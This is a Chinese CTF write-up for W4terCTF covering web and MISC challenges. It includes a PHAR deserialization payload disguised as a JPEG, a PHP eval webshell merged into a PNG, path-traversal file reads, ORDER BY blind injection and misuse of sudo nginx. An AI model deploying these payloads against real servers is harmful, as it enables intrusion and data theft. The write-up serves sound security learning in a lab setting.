W4terCTF

[toc]

一. 回顾

是和 D3v3n 和 Lst4r 一块组的三人小队

9671 分, 排名 4/137

自己的话是 6 道 web 做了 5 道, 剩的一个 java 反序列化, 其他时间主要是在 MISC 方向帮帮队友. 密码 wish 套了个简单 web, 也算是看了眼题目

二. WP_Web

1. Auto Unserialize [normal]

这题的话正好比赛结束的时候 rd 问我了, 趁着刚好复现了就写了个比较详细的 wp , 这里直接黏贴过来了

虽然是一个有 16 解的 normal 难度的题目 , 但是从中却学到了不少东西, 题感也更像做过的为数不多的 web 题目 , 运气不错居然抢到了三血 ( 不容易 QwQ )

以下 wp 并不完全按照原题顺序分析

1) 文件上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (!empty($_FILES['file']['tmp_name'])) {
   $tmpName = $_FILES['file']['tmp_name'];

   if (is_uploaded_file($tmpName)) {
       if (move_uploaded_file($tmpName, "/var/www/html/check.jpg")) {
           echo "Upload successful.";
      } else {
           die("Error in file upload.");
      }
  }

   if (is_file('check.jpg')) {
       if (getimagesize('check.jpg') === false) {
           unlink('check.jpg');
           die("I like images but not this");
      }
  }
}

粗略阅读一下, 显然上传的 JPG 文件将会被改名并被移动到 /var/www/html/ 路径

(这个默认路径在后续的 ASHBP 中也是直接拿来用了)

同时, 这个 JPG 将会被检查是不是图片文件 (考点之一 在第 x 小点解释/处理)

2) 文件查询

1
2
3
4
5
6
7
if (isset($_GET['img_file'])) {
   if (file_exists($_GET['img_file'])) {
       echo "Success";
  } else {
       echo "Failed";
  }
}

这里提供了一个 file_exists( ) 函数用于查询图片文件 (也就是/var/www/html/check.jpg )

看到这里似乎这是一个文件上传题 (笑死)

你说的对 , 但是 Auto Unserialize

3) 命令执行

回到 php 源码开头

1
2
3
4
5
6
class command_test{
   public $command = "echo 'test'";
   public function __destruct(){
       eval($this->command);
  }
}

这里明显 eval 函数会成为命令执行的位置 ($command 这个起名哈哈哈哈 tel✌ 人还怪好的嘞 )

既然知道这里存在 eval 函数了, 那么反序列一个 command=cat flag 的对象好了 !

这会发现没有 unserialize 函数可以使用 (很怪啊! )

但是不慌 XYctf 才刚见过一个非常规反序列化也是没有入口(baby_unserialize)

回到这题 连 unserlize 都没有还要反序列化 + 文件上传

猜出来是 phar 反序列化了(不过还是第一次实战这玩意 找脚本找了很有一会)

4) 理解一下 phar 反序列化

在 PHP 中,phar是一种用于打包和分发 PHP 应用程序的文件格式。

Phar文件可以包含多个 PHP 脚本,以及需要随应用程序一起分发的任何其他文件,如 HTML、CSS、图片等。phar://是一个特殊的流包装器,它允许你像访问本地文件系统一样访问Phar归档中的文件。

在执行 PHAR 包时,PHP 会将其内容反序列化,允许攻击者启动 PHP 对象包含链。最有趣的部分是如何触发有效负载:存档上的任何文件操作都将执行它。最后,没有必要猜测正确的文件名,因为失败的文件调用也需要 PHP 来反序列化其内容。

简单来说我的 phar 文件被执行之后将会分发出我想要的对象

5) 写 payload

要求 : 可以被 phar 反序列化得到目标对象 + 可以通过图片检验

首先生成 phar 文件, 这个简单 网上搜下就有了

主要是这个文件需要以 JPG 文件存在于服务器里

这里搜到了一个在 2018 年的美国黑帽大会期间,Sam Thomas 召开了一个关于利用 PHP 中的 Far://流包装器在服务器上执行代码的会议 , 把里面提到的一个将 PHAR 包伪装成 100%有效的图像的代码拿来了(低至字节码级别) 太顺利啦!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
class command_test
{
   public $command = "system('cd ..;cd ..;cd ..;ls;cat flag;');";
   // command I want
}

// fake jpg's header
$jpeg_header_size =

   "\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13" .

   "\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02" .

   "\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15" .

   "\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14" .

   "\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01" .

   "\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03" .

   "\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11" .

   "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20" .

   "\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01" .

   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00" .

   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda" .

   "\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";

$phar = new Phar("choco.phar");

$phar->startBuffering();

$phar->addFromString("test.txt", "test");

$phar->setStub($jpeg_header_size . " __HALT_COMPILER(); ?>");

$o = new command_test();

$phar->setMetadata($o);

$phar->stopBuffering();

6) 上传文件

执行 php 文件之后会得到 choco.phar

改后缀为.jpg 发送到服务器里

等等 在哪里传啊??

还好热心市民金闪闪从他的王之宝库给我掏了一个从本地发送 file 的 php 脚本 (来自某 show_web_13 的脚本)

1
2
3
4
5
6
7
<form
action="http://127.0.0.1:114514/"
enctype="multipart/form-data"
method="POST"
>
   <input name="file" type="file" />    <input type="submit" value="upload" />
</form>

这样一来我就可以发送我电脑上的文件了 好耶

7) In_the_end

发送 choco.jpg

现在去访问 choco.jpg (已经被改成/var/www/html/check.jpg 了)

这颗定时炸弹就会爆开, 进而执行我们的 eval(system(‘cd ..;cd ..;cd ..;ls;cat flag;’);)了

顺利拿到 flag 舒服了!!

2. GitZip [normal]

这题是最早放出的 web , 因为 GitZip 是一个实际存在的插件, 题干也给了项目地址,导致我在 githubi 看了大半天也没有什么结果 hhh

最后回归到本次比赛原汁原味的代码审计环节 , 利用点其实在源码里找更方便 ( 这题提醒我我要好好学程设了 )

1) 插件背景

这个插件本身是用来单独下载 github 项目某个特定文件或者文件夹的(这样不需要把整个项目打包出来, 还挺好

页面的话是个用于打赏+推广页面, 没什么注入点

2) 代码审计

在 routes.js 文件里面有一些网站行为的归定 , 路径是 gitzip.org-master\server\config\routes.js

其实也怪好找 , 其他 js 文件在 VScode 里是黄色的 , 但是这玩意是单独一个绿色(难崩

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// =====================================
// Web pages ===========================
// =====================================
app.get('/', function(req, res){
res.sendFile(path.resolve(__dirname, '../', 'views/index.html'));
});

app.get('/:htmlname', function(req, res){
var name = req.params.htmlname;
var requestPath = path.resolve(__dirname, '../', 'views/' + name);
if (fs.existsSync(requestPath)) {
// Do something
res.sendFile(requestPath);
}else{
res.status(404).send('Not found');
}
});

这里执行的逻辑是

输入../.html 之后

在 / 当前路径 返回上一级 再进入 ./views 文件夹 搜寻.html 文件 (存在就返回 不存在就 NotFound)

3) 文件读取

那么在文件读取里参考 ‘../‘ 我们把.html 命名为

1
/../../../../../tmp/flag

比赛的时候我用 bp 发包的, 这里/ 需要 URL 编码成 %2F , 也就是:

1
/..%2F..%2F..%2F..%2F..%2Ftmp%2Fflag

3. PNG Server [Medium]

解析攻击

似乎是非预期了? idk

当时做时 tel✌ 已经放了 hint 了 , 一看是 nginx 配置错误 马上找到了解法 基本上 2min 就秒了( 笑

以下是我的解法 : (当时做了一遍 写 wp 的时候也复现了一遍是没啥问题的 , 但是似乎有师傅一直复现不了

1) 代码审计

先看代码

有一说一, 做完 Priv Escape 回过头看这个 conf 好亲切, 虽然比赛的时候我甚至不知道这题是给了附件源码的 (难绷 +1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// conf文件中
server {
listen 80;
server_name localhost;
index index.php;
root /var/www/html;

location / {
index index.php;
}

location ~ \.php$ {
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_pass 127.0.0.1:9000;
}
}

// ini文件中
cgi.fix_pathinfo = 1
  • Nginx 使用正则表达式  location ~ \.php$  来匹配以  .php  结尾的请求,并将其作为 PHP 脚本处理。
  • Nginx 拿到文件路径test.jpg/test.php,一看后缀是.php,便认为该文件是.php,转交给 php 解释器去处理

粗糙的说就是 ../test.png/test.php 会导致这张图片以 php 的形式被服务器处理

2) 木马制作

既然知道传入的图片可以被当作 php 执行, 很自然想到了要用小马

1
2
<?php
eval($_POST['1']);

改后缀显然无法通过上传的检验

这里合并一张正常 PNG 一起上传

1
cmd>> copy normal.png/b + muma.php/a choco.png

合成之后, 上传这个 choco.png

3) 木马执行

上传之后 , 这里很好的一点是前端会显示图片 , 右键可以复制图片文件的路径 (不然那个随机图片名我肯定找不到了 )

最后访问这张图片 加 url 末尾加 /choco.php

弹出近似乱码的东西 (有可能有个 WARN 说未知输入的 这个不影响 因为没还没 POST 命令 )

我直接用 AntSword 连接到服务器了 顺利解出

4. User Manager [Medium]

做的时候 提示是: 你也可以定义自己的 secret

既然提到了 secret 那就明白了

1) 代码审计

无关的部分先删掉了 看着麻烦

这里找到 r.GET(“/users”, func(c *gin.Context) 知道获取到的的切片中 secret 字段会被遮罩成”hidden www~~”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package main
import (
...
)

type User struct {
gorm.Model
Name string
Secret string
Age int
}

func main() {
r.Static("/assets", "./assets")
r.LoadHTMLGlob("templates/*")

// index
r.GET("/", func(c *gin.Context) {
c.HTML(http.StatusOK, "index.html", nil)
})

// add
r.POST("/users", func(c *gin.Context) {
})

// delete
r.DELETE("/users/:id", func(c *gin.Context) {
})

// get
r.GET("/users", func(c *gin.Context) {
var users []User
orderBy := c.Query("order_by")
if orderBy == "" {
orderBy = "id asc"
}
db.Order(orderBy).Find(&users)
for i := range users {
users[i].Secret = "hidden www~~"
}

c.JSON(http.StatusOK, users)
})

r.Run("0.0.0.0:12345")
}

r.GET(“/users”, func(c *gin.Context)根据这个查询

2) 查询

抓查询的包能看到返回包是有 secret 属性的(只是前端不显示) 排序默认是 id 手贱自己替换成了 secret, 发现暗藏玄坤

也就是 secret 实际上也是可以作为一个条件排序的 ( 应该是用的数据库的查询方法 排序规则是按 ASCII 从小到大 )

3) SQL 盲注

这里给我菜死了 , 我居然选择了盲注 (当时兴冲冲地告诉队友应该长度是八位左右 半小时能出 结果大概有 30 位以上…嗯)

规则大概是

1
2
[0-1] < [A-Z] < _ < [a-z]
从第一位排起一位位比较

总之 POST 发送数据包 采用二分法慢慢算就完事了 QwQ 脚本!!!马上去学怎么写 sql 盲注的脚本

(repeat 模块准备好 add get delete 三个模板数据包操作起来其实很轻松)

1
2
3
4
5
{
"name":"W4terCTF_FLAG",
"secret":"W4terCTF{Discover_7h3_hlDdEN_114G_8y_b1iND_lnj3ctiNG_1nT0_tHE_useR_M4NA9er_591_DaTaBA5E}",
"age":2024
}

做的最累的一题 T T, 可能因为当时刚考完 C++, 回寝室就不想动脑子了..还有点侥幸心理

5. ASHBP [Medium]

看着挺唬人的 给了一大堆代码, 导致一开始不是很想看, 但是最后 MISC 都 AK, 没啥能干的就去审了一下

过程还挺曲折不过思路确实是一眼就秒了

1) 代码审计

涉及三个 php 文件

ashbp\src\download.php (命令执行点

ashbp\src\admin.php (命令执行的触发点

ashbp\src\rsa.php (命令执行的资格

ashbp\src\src\rsa_pub.pem (这个文件需要自己去容器访问 自动访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

//admin.php
include("rsa.php");
include("download.php");
if ($_POST['cre']) {
if (rsa_decrypt($_POST['cre']) != 'admin') {
echo "凭据无效!";
} else {
echo get_flag();
}
}

//
function get_flag()
{
return file_get_contents($_POST['flag']);
}

1) 命令执行位置

在 download.php 中很明显一个函数叫 get_flag() (感觉直接搜索 flag 都能找到 )

1
2
3
4
function get_flag()
{
return file_get_contents($_POST['flag']);
}

这里是一个单独的函数定义, 作用是返回一个文件 (如果确实存在的话)

2) 触发我们的命令

往前找一下在哪可以触发这个函数, 明显在 admin.php

搜索 include(“download.php”);也很好找

1
2
3
4
5
6
7
8
9
include("rsa.php");
include("download.php");
if ($_POST['cre']) {
if (rsa_decrypt($_POST['cre']) != 'admin') {
echo "凭据无效!";
} else {
echo get_flag();
}
}

这里看得出来 只要我们发送的 cre 资格凭证经过公钥加密 私钥解密后是 admin 就能触发 get_flag()

草履虫逆向了属于是(

3) 执行命令

现在只需要

cre = admin , flag = command

也就是

1
2
rsa_decrypt($_POST['cre']) == 'admin')
rsa_decrypt($_POST['flag']) == 'cat /../../../../../../tmp/flag')

就可以了

这里加解密其实用 rsa.php 在本地跑一下就行 公钥加密的东西在服务器用私钥解密之后就是原本的内容了

当时想复杂了 , 看到 wish 混 web,以为这里混了密码, 狠狠折磨了我队的密码 ✌ 一波 , 表示歉意 QwQ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
define("PUBLIC_PATH", "./src/rsa_pub.pem");

function rsa_encrypt($data)
{
$public_key = openssl_pkey_get_public(file_get_contents(PUBLIC_PATH));
printf("待加密数据: %s", $data);
printf("<br>");

openssl_public_encrypt($data, $crypted, $public_key);
printf("加密后数据: %s", $crypted);
printf("<br>");

$eb64_cry = base64_encode($crypted);
printf("发送的数据: %s", $eb64_cry);
printf("<br>");
return $eb64_cry;
$encoded_string = urlencode($eb64_cry);
printf("发送: %s", $encoded_string);
}

# / 1 / 2 / 3 / 4
# /var/www/html/index.php
rsa_encrypt("/var/../../../../../../../tmp/flag");

值得注意的有两点:

  1. POST 发包加密后的内容需要自己 url 加密一下
  2. 这个公钥加密有默认的随机填充方法, 导致每次的输出都不一样 (但是实际没有任何影响 )

web 5

web 到这里就做完了 剩下一个 java 反序列化, 因为体测搞感冒了跟苯菜狗实在是 stupid 确实几个小时搞不出来 www

感觉不是很难, 破开一个很大的实际应用的壳子后实际上考点还是比较简单直白的, 我这种菜狗都能基本上一眼找到思路

反映出我的代码审计能力有点弱 ( 可能有点畏难了属于 其实代码看着也很清晰易懂来着 (当然我 java 那个没看明白哈哈哈

三. WP_MISC

misc 有两个队友一起帮忙 最后我们还是 AK 了这个 还挺有意思尤其是一个渗透的题 印象深刻

这里挂几个我当时参与到的

1. Priv Escape [Medium]

这题很喜欢 做的热血沸腾 ()

这题的话, ssh 登录进去发现用户在 r00t 文件夹里基本上只有 cd ls cat 这些命令可以用, tmp 目录里面的 flag 文件也没权限读

提示说不需要提权到 root

1) 命令查询

看看自己能干吗

1
2
3
sudo -l

sudo -l (r00t)NOPASSWD: /usr/sbin/nginx

发现可以使用 nginx 命令

那么思路就是把我们控制的这个 linux 主机变成一个服务器, 本地访问读取文件就好了

2) 配置 nginx

这里卡了很久 很多是我不知道的新东西

  1. nginx 文件是在 r00t 那的 用户没有权限写配置文件
  2. 在/home/W4terCTFPlayer 文件夹下可以创建文件, 因此在这创建一个 nginx.conf 来创建想要的服务器

文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
user r00t;
worker_processes auto;
pid /home/W4terCTFPlayer/nginx.pid;

events {
worker_connections 768;
}

http {
sendfile on;
autoindex on;
tcp_nopush on;
tcp_nodelay on;
gzip on;
server {
listen 80;
# 指定网站的根目录
root /home/r00t/;
autoindex on;
location / {
autoindex on;
try_files $uri $uri/ =404;
}
}
}
  1. 在当前文件 以 r00t 身份 启动服务器
1
sudo -u r00t /usr/sbin/nginx -c /home/W4terCTFPlayer/nginx.conf

3) 读取

这里启动之后一堆 [98 unkown error] 但是其实服务器已经开开了

利用 curl 命令读取就行

1
curl http://localhost/tmp/flag

4) 当时遇到的一些问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
-- 已解决 --
# 1. 用户身份
# 根据sudo -l (r00t)NOPASSWD: /usr/sbin/nginx 以及hint 不用提权到root但是以root身份执行命令
sudo -u r00t 启动 nginx

# 2. r00t无法访问/home/W4terCTFPlayer/nginx.conf
chmod 给文件夹和文件 777权限 (已经无所谓了QwQ

# 3. user+worker_processes报错重复定义 但是自定义conf里面并没有
删除了include /etc/nginx/modules-enabled/*.conf; 解决

# 4. sudo -u r00t /usr/sbin/nginx -c /home/W4terCTFPlayer/nginx.conf
W4terCTFPlayer@priv-escape-70de9e4003bb4a82:~$ sudo -u r00t /usr/sbin/nginx -c /home/W4terCTFPlayer/nginx.conf

nginx: [warn] the "user" directive makes sense only if the master process runs with super-user privileges, ignored in /home/W4terCTFPlayer/nginx.conf:1
// 第一条警告是因为主进程不是r00t而是W4terCTFPlayer
// 不过设置user W仍然报错
nginx: [emerg] bind() to 0.0.0.0:811 failed (98: Unknown error)
nginx: [emerg] bind() to 0.0.0.0:811 failed (98: Unknown error)
nginx: [emerg] bind() to 0.0.0.0:811 failed (98: Unknown error)
nginx: [emerg] bind() to 0.0.0.0:811 failed (98: Unknown error)
nginx: [emerg] bind() to 0.0.0.0:811 failed (98: Unknown error)
nginx: [emerg] still could not bind()
怀疑是80端口占用了 改成了8080 811 57168 57169这些端口依然failed

# sudo -u r00t /usr/sbin/nginx -s stop
# ps 发现nginx并没有已经在运行的情况
# 换了五六个端口依然是failed

2. GZ GPT [Normal]

观察输出,因为不是语言模型,所以输出的语句只是看起来也点区别,并不算完全随机

将 gztime 的话复制到 txt 文本之中

发现 txt 阅读器实际上读到的字符数比我们看到的要多

得出零宽字符隐写的结论

每一位的加密方式也有细微区别,但是除了正确解密基本上都是乱码 干扰较小

3. spam2024

垃圾邮件套娃

spam 直接解一层

得出的字符串阅读性很差,观察得出是 emoji 的 unnicode

使用 html 将 unnicode 直接转义得出 emoji

这里是 txtmoji_aes

在前面的 unnicode 中,非 emoji 部份给出了 key 是 🔑

解出之后得出字符串

base64➕ 异或

解密完成

4. misc 3

三个 misc 出力倒也不是很多 , 反而是折磨了很久队友和出题人 (dbq 菜完了给我)

四. 小结

感谢很好的队友让我打上了顺风局 , 分最高的时候打到了第二名 , 期待未来的合作 !

短板还是很明显, 前期审题很慢 , 还会被各种细节卡住进度, 导致除了一个三血之外基本上都是在 10 解左右我才拿到 flag , 以后不能这么畏难

脚本不是很会写 (不过还好给密码 ✌ 的没啥问题 ) sql 盲注 java 反序列化学到依托答辩

接下来及时调正心态迎接更多挑战了要